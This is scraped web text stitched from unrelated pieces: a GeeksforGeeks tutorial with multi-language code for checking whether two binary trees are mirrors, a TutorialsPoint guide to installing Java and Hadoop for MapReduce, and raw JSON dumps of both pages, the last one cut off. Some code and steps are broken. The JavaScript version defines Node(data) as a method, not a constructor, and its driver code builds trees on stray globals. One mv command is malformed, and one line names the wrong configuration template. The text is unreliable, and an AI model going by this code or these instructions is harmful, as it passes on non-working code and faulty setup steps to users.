= None self.right = None # Given two trees, return true# if they are mirror of each otherdef areMirror(a, b): # Base case : Both empty if a is None and b is None: return True # If only one is empty if a is None or b is None: return False # Both non-empty, compare them # recursively. Note that in # recursive calls, we pass left # of one tree and right of other tree return (a.data == b.data and areMirror(a.left, b.right) and areMirror(a.right , b.left)) # Driver coderoot1 = Node(1)root2 = Node(1) root1.left = Node(2)root1.right = Node(3)root1.left.left = Node(4)root1.left.right = Node(5) root2.left = Node(3)root2.right = Node(2)root2.right.left = Node(5)root2.right.right = Node(4) if areMirror(root1, root2): print ("Yes")else: print ("No") # This code is contributed by AshishR using System; // c# program to see if two trees// are mirror of each other // A binary tree nodepublic class Node{ public int data; public Node left, right; public Node(int data) { this.data = data; left = right = null; }} public class BinaryTree{ public Node a, b; /* Given two trees, return true if they are mirror of each other */ public virtual bool areMirror(Node a, Node b) { /* Base case : Both empty */ if (a == null && b == null) { return true; } // If only one is empty if (a == null || b == null) { return false; } /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods public static void Main(string[] args) { BinaryTree tree = new BinaryTree(); Node a = new Node(1); Node b = new Node(1); a.left = new Node(2); a.right = new Node(3); a.left.left = new Node(4); a.left.right = new Node(5); b.left = new Node(3); b.right = new Node(2); b.right.left = new Node(5); b.right.right = new Node(4); if (tree.areMirror(a, b) == true) { Console.WriteLine("Yes"); } else { Console.WriteLine("No"); } }} // This code is contributed by Shrikant13 <script>// javascript program to see if two trees// are mirror of each other // A binary tree nodeclass Node { Node(data) { this.data = data; this.left = this.right = null; }} var a, b; /* * Given two trees, return true if they are mirror of each other */ function areMirror( a, b) { /* Base case : Both empty */ if (a == null && b == null) return true; // If only one is empty if (a == null || b == null) return false; /* * Both non-empty, compare them recursively Note that in recursive calls, we * pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods a = new Node(1); b = new Node(1); left = new Node(2); right = new Node(3); left.left = new Node(4); left.right = new Node(5); left = new Node(3); right = new Node(2); right.left = new Node(5); right.right = new Node(4); if (areMirror(a, b) == true) document.write("Yes"); else document.write("No"); // This code contributed by umadevi9616</script> Output : Yes Time Complexity : O(n)Iterative method to check if two trees are mirror of each other YouTubeGeeksforGeeks501K subscribersCheck if two trees are Mirror | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:21•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=UG3OhQ5QRkk" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div> ?list=PLqM7alHXFySHCXD7r1J0ky9Zg_GBB1dbk This article is contributed by Ashish Gupta. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above AshishR shrikanth13 umadevi9616 pravinyakumbhare anikakapoor Amazon Amazon-Question D-E-Shaw Hike MakeMyTrip STL Queue Stack Tree Amazon D-E-Shaw Hike MakeMyTrip Stack Queue Tree STL Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Queue | Set 1 (Introduction and Array Implementation) Priority Queue | Set 1 (Introduction) LRU Cache Implementation Queue - Linked List Implementation Circular Queue | Set 1 (Introduction and Array Implementation) Stack Data Structure (Introduction and Program) Stack in Python Stack Class in Java Program for Tower of Hanoi Check for Balanced Brackets in an expression (well-formedness) using Stack
[ { "code": null, "e": 24974, "s": 24946, "text": "\n30 Aug, 2021" }, { "code": null, "e": 25157, "s": 24974, "text": "Given two Binary Trees, write a function that returns true if two trees are mirror of each other, else false. For example, the function should return true for following input trees. " }, { "code": null, "e": 25311, "s": 25159, "text": "This problem is different from the problem discussed here.For two trees ‘a’ and ‘b’ to be mirror images, the following three conditions must be true: " }, { "code": null, "e": 25471, "s": 25311, "text": "Their root node’s key must be sameLeft subtree of root of ‘a’ and right subtree root of ‘b’ are mirror.Right subtree of ‘a’ and left subtree of ‘b’ are mirror." }, { "code": null, "e": 25506, "s": 25471, "text": "Their root node’s key must be same" }, { "code": null, "e": 25576, "s": 25506, "text": "Left subtree of root of ‘a’ and right subtree root of ‘b’ are mirror." }, { "code": null, "e": 25633, "s": 25576, "text": "Right subtree of ‘a’ and left subtree of ‘b’ are mirror." }, { "code": null, "e": 25674, "s": 25633, "text": "Below is implementation of above idea. " }, { "code": null, "e": 25678, "s": 25674, "text": "C++" }, { "code": null, "e": 25683, "s": 25678, "text": "Java" }, { "code": null, "e": 25691, "s": 25683, "text": "Python3" }, { "code": null, "e": 25694, "s": 25691, "text": "C#" }, { "code": null, "e": 25705, "s": 25694, "text": "Javascript" }, { "code": "// C++ program to check if two trees are mirror// of each other#include<bits/stdc++.h>using namespace std; /* A binary tree node has data, pointer to left child and a pointer to right child */struct Node{ int data; Node* left, *right;}; /* Given two trees, return true if they are mirror of each other *//*As function has to return bool value instead integer value*/bool areMirror(Node* a, Node* b){ /* Base case : Both empty */ if (a==NULL && b==NULL) return true; // If only one is empty if (a==NULL || b == NULL) return false; /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a->data == b->data && areMirror(a->left, b->right) && areMirror(a->right, b->left);} /* Helper function that allocates a new node */Node* newNode(int data){ Node* node = new Node; node->data = data; node->left = node->right = NULL; return(node);} /* Driver program to test areMirror() */int main(){ Node *a = newNode(1); Node *b = newNode(1); a->left = newNode(2); a->right = newNode(3); a->left->left = newNode(4); a->left->right = newNode(5); b->left = newNode(3); b->right = newNode(2); b->right->left = newNode(5); b->right->right = newNode(4); areMirror(a, b)? cout << \"Yes\" : cout << \"No\"; return 0;}", "e": 27106, "s": 25705, "text": null }, { "code": "// Java program to see if two trees// are mirror of each other // A binary tree nodeclass Node{ int data; Node left, right; public Node(int data) { this.data = data; left = right = null; }} class BinaryTree{ Node a, b; /* Given two trees, return true if they are mirror of each other */ boolean areMirror(Node a, Node b) { /* Base case : Both empty */ if (a == null && b == null) return true; // If only one is empty if (a == null || b == null) return false; /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods public static void main(String[] args) { BinaryTree tree = new BinaryTree(); Node a = new Node(1); Node b = new Node(1); a.left = new Node(2); a.right = new Node(3); a.left.left = new Node(4); a.left.right = new Node(5); b.left = new Node(3); b.right = new Node(2); b.right.left = new Node(5); b.right.right = new Node(4); if (tree.areMirror(a, b) == true) System.out.println(\"Yes\"); else System.out.println(\"No\"); }} // This code has been contributed by Mayank Jaiswal(mayank_24)", "e": 28597, "s": 27106, "text": null }, { "code": "# Python3 program to check if two# trees are mirror of each other # A binary tree nodeclass Node: def __init__(self, data): self.data = data self.left = None self.right = None # Given two trees, return true# if they are mirror of each otherdef areMirror(a, b): # Base case : Both empty if a is None and b is None: return True # If only one is empty if a is None or b is None: return False # Both non-empty, compare them # recursively. Note that in # recursive calls, we pass left # of one tree and right of other tree return (a.data == b.data and areMirror(a.left, b.right) and areMirror(a.right , b.left)) # Driver coderoot1 = Node(1)root2 = Node(1) root1.left = Node(2)root1.right = Node(3)root1.left.left = Node(4)root1.left.right = Node(5) root2.left = Node(3)root2.right = Node(2)root2.right.left = Node(5)root2.right.right = Node(4) if areMirror(root1, root2): print (\"Yes\")else: print (\"No\") # This code is contributed by AshishR", "e": 29642, "s": 28597, "text": null }, { "code": "using System; // c# program to see if two trees// are mirror of each other // A binary tree nodepublic class Node{ public int data; public Node left, right; public Node(int data) { this.data = data; left = right = null; }} public class BinaryTree{ public Node a, b; /* Given two trees, return true if they are mirror of each other */ public virtual bool areMirror(Node a, Node b) { /* Base case : Both empty */ if (a == null && b == null) { return true; } // If only one is empty if (a == null || b == null) { return false; } /* Both non-empty, compare them recursively Note that in recursive calls, we pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods public static void Main(string[] args) { BinaryTree tree = new BinaryTree(); Node a = new Node(1); Node b = new Node(1); a.left = new Node(2); a.right = new Node(3); a.left.left = new Node(4); a.left.right = new Node(5); b.left = new Node(3); b.right = new Node(2); b.right.left = new Node(5); b.right.right = new Node(4); if (tree.areMirror(a, b) == true) { Console.WriteLine(\"Yes\"); } else { Console.WriteLine(\"No\"); } }} // This code is contributed by Shrikant13", "e": 31225, "s": 29642, "text": null }, { "code": "<script>// javascript program to see if two trees// are mirror of each other // A binary tree nodeclass Node { Node(data) { this.data = data; this.left = this.right = null; }} var a, b; /* * Given two trees, return true if they are mirror of each other */ function areMirror( a, b) { /* Base case : Both empty */ if (a == null && b == null) return true; // If only one is empty if (a == null || b == null) return false; /* * Both non-empty, compare them recursively Note that in recursive calls, we * pass left of one tree and right of other tree */ return a.data == b.data && areMirror(a.left, b.right) && areMirror(a.right, b.left); } // Driver code to test above methods a = new Node(1); b = new Node(1); left = new Node(2); right = new Node(3); left.left = new Node(4); left.right = new Node(5); left = new Node(3); right = new Node(2); right.left = new Node(5); right.right = new Node(4); if (areMirror(a, b) == true) document.write(\"Yes\"); else document.write(\"No\"); // This code contributed by umadevi9616</script>", "e": 32506, "s": 31225, "text": null }, { "code": null, "e": 32516, "s": 32506, "text": "Output : " }, { "code": null, "e": 32520, "s": 32516, "text": "Yes" }, { "code": null, "e": 32607, "s": 32520, "text": "Time Complexity : O(n)Iterative method to check if two trees are mirror of each other " }, { "code": null, "e": 33435, "s": 32607, "text": "YouTubeGeeksforGeeks501K subscribersCheck if two trees are Mirror | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:21•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=UG3OhQ5QRkk\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>" }, { "code": null, "e": 33646, "s": 33435, "text": "?list=PLqM7alHXFySHCXD7r1J0ky9Zg_GBB1dbk This article is contributed by Ashish Gupta. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above " }, { "code": null, "e": 33654, "s": 33646, "text": "AshishR" }, { "code": null, "e": 33666, "s": 33654, "text": "shrikanth13" }, { "code": null, "e": 33678, "s": 33666, "text": "umadevi9616" }, { "code": null, "e": 33695, "s": 33678, "text": "pravinyakumbhare" }, { "code": null, "e": 33707, "s": 33695, "text": "anikakapoor" }, { "code": null, "e": 33714, "s": 33707, "text": "Amazon" }, { "code": null, "e": 33730, "s": 33714, "text": "Amazon-Question" }, { "code": null, "e": 33739, "s": 33730, "text": "D-E-Shaw" }, { "code": null, "e": 33744, "s": 33739, "text": "Hike" }, { "code": null, "e": 33755, "s": 33744, "text": "MakeMyTrip" }, { "code": null, "e": 33759, "s": 33755, "text": "STL" }, { "code": null, "e": 33765, "s": 33759, "text": "Queue" }, { "code": null, "e": 33771, "s": 33765, "text": "Stack" }, { "code": null, "e": 33776, "s": 33771, "text": "Tree" }, { "code": null, "e": 33783, "s": 33776, "text": "Amazon" }, { "code": null, "e": 33792, "s": 33783, "text": "D-E-Shaw" }, { "code": null, "e": 33797, "s": 33792, "text": "Hike" }, { "code": null, "e": 33808, "s": 33797, "text": "MakeMyTrip" }, { "code": null, "e": 33814, "s": 33808, "text": "Stack" }, { "code": null, "e": 33820, "s": 33814, "text": "Queue" }, { "code": null, "e": 33825, "s": 33820, "text": "Tree" }, { "code": null, "e": 33829, "s": 33825, "text": "STL" }, { "code": null, "e": 33927, "s": 33829, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33936, "s": 33927, "text": "Comments" }, { "code": null, "e": 33949, "s": 33936, "text": "Old Comments" }, { "code": null, "e": 34003, "s": 33949, "text": "Queue | Set 1 (Introduction and Array Implementation)" }, { "code": null, "e": 34041, "s": 34003, "text": "Priority Queue | Set 1 (Introduction)" }, { "code": null, "e": 34066, "s": 34041, "text": "LRU Cache Implementation" }, { "code": null, "e": 34101, "s": 34066, "text": "Queue - Linked List Implementation" }, { "code": null, "e": 34164, "s": 34101, "text": "Circular Queue | Set 1 (Introduction and Array Implementation)" }, { "code": null, "e": 34212, "s": 34164, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 34228, "s": 34212, "text": "Stack in Python" }, { "code": null, "e": 34248, "s": 34228, "text": "Stack Class in Java" }, { "code": null, "e": 34275, "s": 34248, "text": "Program for Tower of Hanoi" } ]
MapReduce - Installation
MapReduce works only on Linux flavored operating systems and it comes inbuilt with a Hadoop Framework. We need to perform the following steps in order to install Hadoop framework. Java must be installed on your system before installing Hadoop. Use the following command to check whether you have Java installed on your system. $ java –version If Java is already installed on your system, you get to see the following response − java version "1.7.0_71" Java(TM) SE Runtime Environment (build 1.7.0_71-b13) Java HotSpot(TM) Client VM (build 25.0-b02, mixed mode) In case you don’t have Java installed on your system, then follow the steps given below. Download the latest version of Java from the following link − this link. After downloading, you can locate the file jdk-7u71-linux-x64.tar.gz in your Downloads folder. Use the following commands to extract the contents of jdk-7u71-linux-x64.gz. $ cd Downloads/ $ ls jdk-7u71-linux-x64.gz $ tar zxf jdk-7u71-linux-x64.gz $ ls jdk1.7.0_71 jdk-7u71-linux-x64.gz To make Java available to all the users, you have to move it to the location “/usr/local/”. Go to root and type the following commands − $ su password: # mv jdk1.7.0_71 /usr/local/java # exit For setting up PATH and JAVA_HOME variables, add the following commands to ~/.bashrc file. export JAVA_HOME=/usr/local/java export PATH=$PATH:$JAVA_HOME/bin Apply all the changes to the current running system. $ source ~/.bashrc Use the following commands to configure Java alternatives − # alternatives --install /usr/bin/java java usr/local/java/bin/java 2 # alternatives --install /usr/bin/javac javac usr/local/java/bin/javac 2 # alternatives --install /usr/bin/jar jar usr/local/java/bin/jar 2 # alternatives --set java usr/local/java/bin/java # alternatives --set javac usr/local/java/bin/javac # alternatives --set jar usr/local/java/bin/jar Now verify the installation using the command java -version from the terminal. Hadoop must be installed on your system before installing MapReduce. Let us verify the Hadoop installation using the following command − $ hadoop version If Hadoop is already installed on your system, then you will get the following response − Hadoop 2.4.1 -- Subversion https://svn.apache.org/repos/asf/hadoop/common -r 1529768 Compiled by hortonmu on 2013-10-07T06:28Z Compiled with protoc 2.5.0 From source with checksum 79e53ce7994d1628b240f09af91e1af4 If Hadoop is not installed on your system, then proceed with the following steps. Download Hadoop 2.4.1 from Apache Software Foundation and extract its contents using the following commands. $ su password: # cd /usr/local # wget http://apache.claz.org/hadoop/common/hadoop-2.4.1/ hadoop-2.4.1.tar.gz # tar xzf hadoop-2.4.1.tar.gz # mv hadoop-2.4.1/* to hadoop/ # exit The following steps are used to install Hadoop 2.4.1 in pseudo distributed mode. You can set Hadoop environment variables by appending the following commands to ~/.bashrc file. export HADOOP_HOME=/usr/local/hadoop export HADOOP_MAPRED_HOME=$HADOOP_HOME export HADOOP_COMMON_HOME=$HADOOP_HOME export HADOOP_HDFS_HOME=$HADOOP_HOME export YARN_HOME=$HADOOP_HOME export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin Apply all the changes to the current running system. $ source ~/.bashrc You can find all the Hadoop configuration files in the location “$HADOOP_HOME/etc/hadoop”. You need to make suitable changes in those configuration files according to your Hadoop infrastructure. $ cd $HADOOP_HOME/etc/hadoop In order to develop Hadoop programs using Java, you have to reset the Java environment variables in hadoop-env.sh file by replacing JAVA_HOME value with the location of Java in your system. export JAVA_HOME=/usr/local/java You have to edit the following files to configure Hadoop − core-site.xml hdfs-site.xml yarn-site.xml mapred-site.xml core-site.xml contains the following information− Port number used for Hadoop instance Memory allocated for the file system Memory limit for storing the data Size of Read/Write buffers Open the core-site.xml and add the following properties in between the <configuration> and </configuration> tags. <configuration> <property> <name>fs.default.name</name> <value>hdfs://localhost:9000 </value> </property> </configuration> hdfs-site.xml contains the following information − Value of replication data The namenode path The datanode path of your local file systems (the place where you want to store the Hadoop infra) Let us assume the following data. dfs.replication (data replication value) = 1 (In the following path /hadoop/ is the user name. hadoopinfra/hdfs/namenode is the directory created by hdfs file system.) namenode path = //home/hadoop/hadoopinfra/hdfs/namenode (hadoopinfra/hdfs/datanode is the directory created by hdfs file system.) datanode path = //home/hadoop/hadoopinfra/hdfs/datanode Open this file and add the following properties in between the <configuration>, </configuration> tags. <configuration> <property> <name>dfs.replication</name> <value>1</value> </property> <property> <name>dfs.name.dir</name> <value>file:///home/hadoop/hadoopinfra/hdfs/namenode</value> </property> <property> <name>dfs.data.dir</name> <value>file:///home/hadoop/hadoopinfra/hdfs/datanode </value> </property> </configuration> Note − In the above file, all the property values are user-defined and you can make changes according to your Hadoop infrastructure. This file is used to configure yarn into Hadoop. Open the yarn-site.xml file and add the following properties in between the <configuration>, </configuration> tags. <configuration> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> </configuration> This file is used to specify the MapReduce framework we are using. By default, Hadoop contains a template of yarn-site.xml. First of all, you need to copy the file from mapred-site.xml.template to mapred-site.xml file using the following command. $ cp mapred-site.xml.template mapred-site.xml Open mapred-site.xml file and add the following properties in between the <configuration>, </configuration> tags. <configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> </configuration> The following steps are used to verify the Hadoop installation. Set up the namenode using the command “hdfs namenode -format” as follows − $ cd ~ $ hdfs namenode -format The expected result is as follows − 10/24/14 21:30:55 INFO namenode.NameNode: STARTUP_MSG: /************************************************************ STARTUP_MSG: Starting NameNode STARTUP_MSG: host = localhost/192.168.1.11 STARTUP_MSG: args = [-format] STARTUP_MSG: version = 2.4.1 ... ... 10/24/14 21:30:56 INFO common.Storage: Storage directory /home/hadoop/hadoopinfra/hdfs/namenode has been successfully formatted. 10/24/14 21:30:56 INFO namenode.NNStorageRetentionManager: Going to retain 1 images with txid >= 0 10/24/14 21:30:56 INFO util.ExitUtil: Exiting with status 0 10/24/14 21:30:56 INFO namenode.NameNode: SHUTDOWN_MSG: /************************************************************ SHUTDOWN_MSG: Shutting down NameNode at localhost/192.168.1.11 ************************************************************/ Execute the following command to start your Hadoop file system. $ start-dfs.sh The expected output is as follows − 10/24/14 21:37:56 Starting namenodes on [localhost] localhost: starting namenode, logging to /home/hadoop/hadoop- 2.4.1/logs/hadoop-hadoop-namenode-localhost.out localhost: starting datanode, logging to /home/hadoop/hadoop- 2.4.1/logs/hadoop-hadoop-datanode-localhost.out Starting secondary namenodes [0.0.0.0] The following command is used to start the yarn script. Executing this command will start your yarn daemons. $ start-yarn.sh The expected output is as follows − starting yarn daemons starting resourcemanager, logging to /home/hadoop/hadoop- 2.4.1/logs/yarn-hadoop-resourcemanager-localhost.out localhost: starting node manager, logging to /home/hadoop/hadoop- 2.4.1/logs/yarn-hadoop-nodemanager-localhost.out The default port number to access Hadoop is 50070. Use the following URL to get Hadoop services on your browser. http://localhost:50070/ The following screenshot shows the Hadoop browser. The default port number to access all the applications of a cluster is 8088. Use the following URL to use this service. http://localhost:8088/ The following screenshot shows a Hadoop cluster browser. 21 Lectures 2.5 hours Zach Miller 17 Lectures 2 hours Lisa Newton 37 Lectures 2 hours Sentinel | 9 63 Lectures 7 hours Stevdza-San 16 Lectures 1.5 hours Paul Nicoara 17 Lectures 50 mins Damtew Engida Print Add Notes Bookmark this page
[ { "code": null, "e": 1970, "s": 1790, "text": "MapReduce works only on Linux flavored operating systems and it comes inbuilt with a Hadoop Framework. We need to perform the following steps in order to install Hadoop framework." }, { "code": null, "e": 2117, "s": 1970, "text": "Java must be installed on your system before installing Hadoop. Use the following command to check whether you have Java installed on your system." }, { "code": null, "e": 2134, "s": 2117, "text": "$ java –version\n" }, { "code": null, "e": 2219, "s": 2134, "text": "If Java is already installed on your system, you get to see the following response −" }, { "code": null, "e": 2353, "s": 2219, "text": "java version \"1.7.0_71\"\nJava(TM) SE Runtime Environment (build 1.7.0_71-b13)\nJava HotSpot(TM) Client VM (build 25.0-b02, mixed mode)\n" }, { "code": null, "e": 2442, "s": 2353, "text": "In case you don’t have Java installed on your system, then follow the steps given below." }, { "code": null, "e": 2516, "s": 2442, "text": "Download the latest version of Java from the following link − \nthis link." }, { "code": null, "e": 2611, "s": 2516, "text": "After downloading, you can locate the file jdk-7u71-linux-x64.tar.gz in your Downloads folder." }, { "code": null, "e": 2688, "s": 2611, "text": "Use the following commands to extract the contents of jdk-7u71-linux-x64.gz." }, { "code": null, "e": 2803, "s": 2688, "text": "$ cd Downloads/\n$ ls\njdk-7u71-linux-x64.gz\n$ tar zxf jdk-7u71-linux-x64.gz\n$ ls\njdk1.7.0_71 jdk-7u71-linux-x64.gz\n" }, { "code": null, "e": 2940, "s": 2803, "text": "To make Java available to all the users, you have to move it to the location “/usr/local/”. Go to root and type the following commands −" }, { "code": null, "e": 2996, "s": 2940, "text": "$ su\npassword:\n# mv jdk1.7.0_71 /usr/local/java\n# exit\n" }, { "code": null, "e": 3087, "s": 2996, "text": "For setting up PATH and JAVA_HOME variables, add the following commands to ~/.bashrc file." }, { "code": null, "e": 3154, "s": 3087, "text": "export JAVA_HOME=/usr/local/java\nexport PATH=$PATH:$JAVA_HOME/bin\n" }, { "code": null, "e": 3207, "s": 3154, "text": "Apply all the changes to the current running system." }, { "code": null, "e": 3227, "s": 3207, "text": "$ source ~/.bashrc\n" }, { "code": null, "e": 3287, "s": 3227, "text": "Use the following commands to configure Java alternatives −" }, { "code": null, "e": 3653, "s": 3287, "text": "# alternatives --install /usr/bin/java java usr/local/java/bin/java 2\n\n# alternatives --install /usr/bin/javac javac usr/local/java/bin/javac 2\n\n# alternatives --install /usr/bin/jar jar usr/local/java/bin/jar 2\n\n# alternatives --set java usr/local/java/bin/java\n\n# alternatives --set javac usr/local/java/bin/javac\n\n# alternatives --set jar usr/local/java/bin/jar\n" }, { "code": null, "e": 3732, "s": 3653, "text": "Now verify the installation using the command java -version from the terminal." }, { "code": null, "e": 3869, "s": 3732, "text": "Hadoop must be installed on your system before installing MapReduce. Let us verify the Hadoop installation using the following command −" }, { "code": null, "e": 3887, "s": 3869, "text": "$ hadoop version\n" }, { "code": null, "e": 3977, "s": 3887, "text": "If Hadoop is already installed on your system, then you will get the following response −" }, { "code": null, "e": 4191, "s": 3977, "text": "Hadoop 2.4.1\n--\nSubversion https://svn.apache.org/repos/asf/hadoop/common -r 1529768\nCompiled by hortonmu on 2013-10-07T06:28Z\nCompiled with protoc 2.5.0\nFrom source with checksum 79e53ce7994d1628b240f09af91e1af4\n" }, { "code": null, "e": 4273, "s": 4191, "text": "If Hadoop is not installed on your system, then proceed with the following steps." }, { "code": null, "e": 4382, "s": 4273, "text": "Download Hadoop 2.4.1 from Apache Software Foundation and extract its contents using the following commands." }, { "code": null, "e": 4560, "s": 4382, "text": "$ su\npassword:\n# cd /usr/local\n# wget http://apache.claz.org/hadoop/common/hadoop-2.4.1/\nhadoop-2.4.1.tar.gz\n# tar xzf hadoop-2.4.1.tar.gz\n# mv hadoop-2.4.1/* to hadoop/\n# exit\n" }, { "code": null, "e": 4641, "s": 4560, "text": "The following steps are used to install Hadoop 2.4.1 in pseudo distributed mode." }, { "code": null, "e": 4737, "s": 4641, "text": "You can set Hadoop environment variables by appending the following commands to ~/.bashrc file." }, { "code": null, "e": 5033, "s": 4737, "text": "export HADOOP_HOME=/usr/local/hadoop\nexport HADOOP_MAPRED_HOME=$HADOOP_HOME\nexport HADOOP_COMMON_HOME=$HADOOP_HOME\nexport HADOOP_HDFS_HOME=$HADOOP_HOME\nexport YARN_HOME=$HADOOP_HOME\nexport HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native\nexport PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin\n" }, { "code": null, "e": 5086, "s": 5033, "text": "Apply all the changes to the current running system." }, { "code": null, "e": 5106, "s": 5086, "text": "$ source ~/.bashrc\n" }, { "code": null, "e": 5301, "s": 5106, "text": "You can find all the Hadoop configuration files in the location “$HADOOP_HOME/etc/hadoop”. You need to make suitable changes in those configuration files according to your Hadoop infrastructure." }, { "code": null, "e": 5331, "s": 5301, "text": "$ cd $HADOOP_HOME/etc/hadoop\n" }, { "code": null, "e": 5521, "s": 5331, "text": "In order to develop Hadoop programs using Java, you have to reset the Java environment variables in hadoop-env.sh file by replacing JAVA_HOME value with the location of Java in your system." }, { "code": null, "e": 5555, "s": 5521, "text": "export JAVA_HOME=/usr/local/java\n" }, { "code": null, "e": 5614, "s": 5555, "text": "You have to edit the following files to configure Hadoop −" }, { "code": null, "e": 5628, "s": 5614, "text": "core-site.xml" }, { "code": null, "e": 5642, "s": 5628, "text": "hdfs-site.xml" }, { "code": null, "e": 5656, "s": 5642, "text": "yarn-site.xml" }, { "code": null, "e": 5672, "s": 5656, "text": "mapred-site.xml" }, { "code": null, "e": 5722, "s": 5672, "text": "core-site.xml contains the following information−" }, { "code": null, "e": 5759, "s": 5722, "text": "Port number used for Hadoop instance" }, { "code": null, "e": 5796, "s": 5759, "text": "Memory allocated for the file system" }, { "code": null, "e": 5830, "s": 5796, "text": "Memory limit for storing the data" }, { "code": null, "e": 5857, "s": 5830, "text": "Size of Read/Write buffers" }, { "code": null, "e": 5971, "s": 5857, "text": "Open the core-site.xml and add the following properties in between the <configuration> and </configuration> tags." }, { "code": null, "e": 6112, "s": 5971, "text": "<configuration>\n <property>\n <name>fs.default.name</name>\n <value>hdfs://localhost:9000 </value>\n </property>\n</configuration>" }, { "code": null, "e": 6163, "s": 6112, "text": "hdfs-site.xml contains the following information −" }, { "code": null, "e": 6189, "s": 6163, "text": "Value of replication data" }, { "code": null, "e": 6207, "s": 6189, "text": "The namenode path" }, { "code": null, "e": 6305, "s": 6207, "text": "The datanode path of your local file systems (the place where you want to store the Hadoop infra)" }, { "code": null, "e": 6339, "s": 6305, "text": "Let us assume the following data." }, { "code": null, "e": 6696, "s": 6339, "text": "dfs.replication (data replication value) = 1\n\n(In the following path /hadoop/ is the user name.\nhadoopinfra/hdfs/namenode is the directory created by hdfs file system.)\nnamenode path = //home/hadoop/hadoopinfra/hdfs/namenode\n\n(hadoopinfra/hdfs/datanode is the directory created by hdfs file system.)\ndatanode path = //home/hadoop/hadoopinfra/hdfs/datanode\n" }, { "code": null, "e": 6799, "s": 6696, "text": "Open this file and add the following properties in between the <configuration>, </configuration> tags." }, { "code": null, "e": 7189, "s": 6799, "text": "<configuration>\n\n <property>\n <name>dfs.replication</name>\n <value>1</value>\n </property>\n \n <property>\n <name>dfs.name.dir</name>\n <value>file:///home/hadoop/hadoopinfra/hdfs/namenode</value>\n </property>\n \n <property>\n <name>dfs.data.dir</name>\n <value>file:///home/hadoop/hadoopinfra/hdfs/datanode </value>\n </property>\n \n</configuration>" }, { "code": null, "e": 7322, "s": 7189, "text": "Note − In the above file, all the property values are user-defined and you can make changes according to your Hadoop infrastructure." }, { "code": null, "e": 7487, "s": 7322, "text": "This file is used to configure yarn into Hadoop. Open the yarn-site.xml file and add the following properties in between the <configuration>, </configuration> tags." }, { "code": null, "e": 7637, "s": 7487, "text": "<configuration>\n <property>\n <name>yarn.nodemanager.aux-services</name>\n <value>mapreduce_shuffle</value>\n </property>\n</configuration>" }, { "code": null, "e": 7884, "s": 7637, "text": "This file is used to specify the MapReduce framework we are using. By default, Hadoop contains a template of yarn-site.xml. First of all, you need to copy the file from mapred-site.xml.template to mapred-site.xml file using the following command." }, { "code": null, "e": 7931, "s": 7884, "text": "$ cp mapred-site.xml.template mapred-site.xml\n" }, { "code": null, "e": 8045, "s": 7931, "text": "Open mapred-site.xml file and add the following properties in between the <configuration>, </configuration> tags." }, { "code": null, "e": 8177, "s": 8045, "text": "<configuration>\n <property>\n <name>mapreduce.framework.name</name>\n <value>yarn</value>\n </property>\n</configuration>" }, { "code": null, "e": 8241, "s": 8177, "text": "The following steps are used to verify the Hadoop installation." }, { "code": null, "e": 8316, "s": 8241, "text": "Set up the namenode using the command “hdfs namenode -format” as follows −" }, { "code": null, "e": 8348, "s": 8316, "text": "$ cd ~\n$ hdfs namenode -format\n" }, { "code": null, "e": 8384, "s": 8348, "text": "The expected result is as follows −" }, { "code": null, "e": 9175, "s": 8384, "text": "10/24/14 21:30:55 INFO namenode.NameNode: STARTUP_MSG:\n/************************************************************\nSTARTUP_MSG: Starting NameNode\nSTARTUP_MSG: host = localhost/192.168.1.11\nSTARTUP_MSG: args = [-format]\nSTARTUP_MSG: version = 2.4.1\n...\n...\n10/24/14 21:30:56 INFO common.Storage: Storage directory\n/home/hadoop/hadoopinfra/hdfs/namenode has been successfully formatted.\n10/24/14 21:30:56 INFO namenode.NNStorageRetentionManager: Going to\nretain 1 images with txid >= 0\n10/24/14 21:30:56 INFO util.ExitUtil: Exiting with status 0\n10/24/14 21:30:56 INFO namenode.NameNode: SHUTDOWN_MSG:\n\n/************************************************************\nSHUTDOWN_MSG: Shutting down NameNode at localhost/192.168.1.11\n************************************************************/\n" }, { "code": null, "e": 9239, "s": 9175, "text": "Execute the following command to start your Hadoop file system." }, { "code": null, "e": 9255, "s": 9239, "text": 